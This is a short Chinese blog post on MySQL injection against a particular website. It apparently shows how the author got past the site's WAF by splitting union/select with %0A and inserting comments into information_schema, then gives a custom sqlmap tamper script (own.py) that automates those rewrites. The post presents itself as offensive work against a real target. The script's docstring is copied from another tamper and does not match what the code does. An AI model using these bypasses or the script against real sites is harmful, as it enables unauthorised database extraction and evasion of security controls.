Mysql注入 - Sqlmap之tamper编写

Bypass @

如图，遇到@，导致注入失败，使用mysql表名即可绕过

Bypass WAF

该站存在WAF，union不可与select同时出现，简单使用%0A即可绕过，即union%0Aselect；
另外information_schema.tables也被拉黑，fuzz后发现也不难绕，改为information_schema/**/.tables即可绕过。

Tamper编写

这下绕过是没问题了，可惜sqlmap跑不了，遂想编写一针对此站的tamper，供sqlmap调用，但因未实现过此方式，翻看sqlmap中tamper，发现很简单，接口已经准备好，只需要对payload进行处理就能让sqlmap调用。

编写own.py放入tamper目录下即可

注意：sqlmap中的payload均是大写

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        retVal = payload.replace('SCHEMA.', 'SCHEMA/**/.')
        retVal = retVal.replace('UNION ', 'UNION%0A')

    return retVal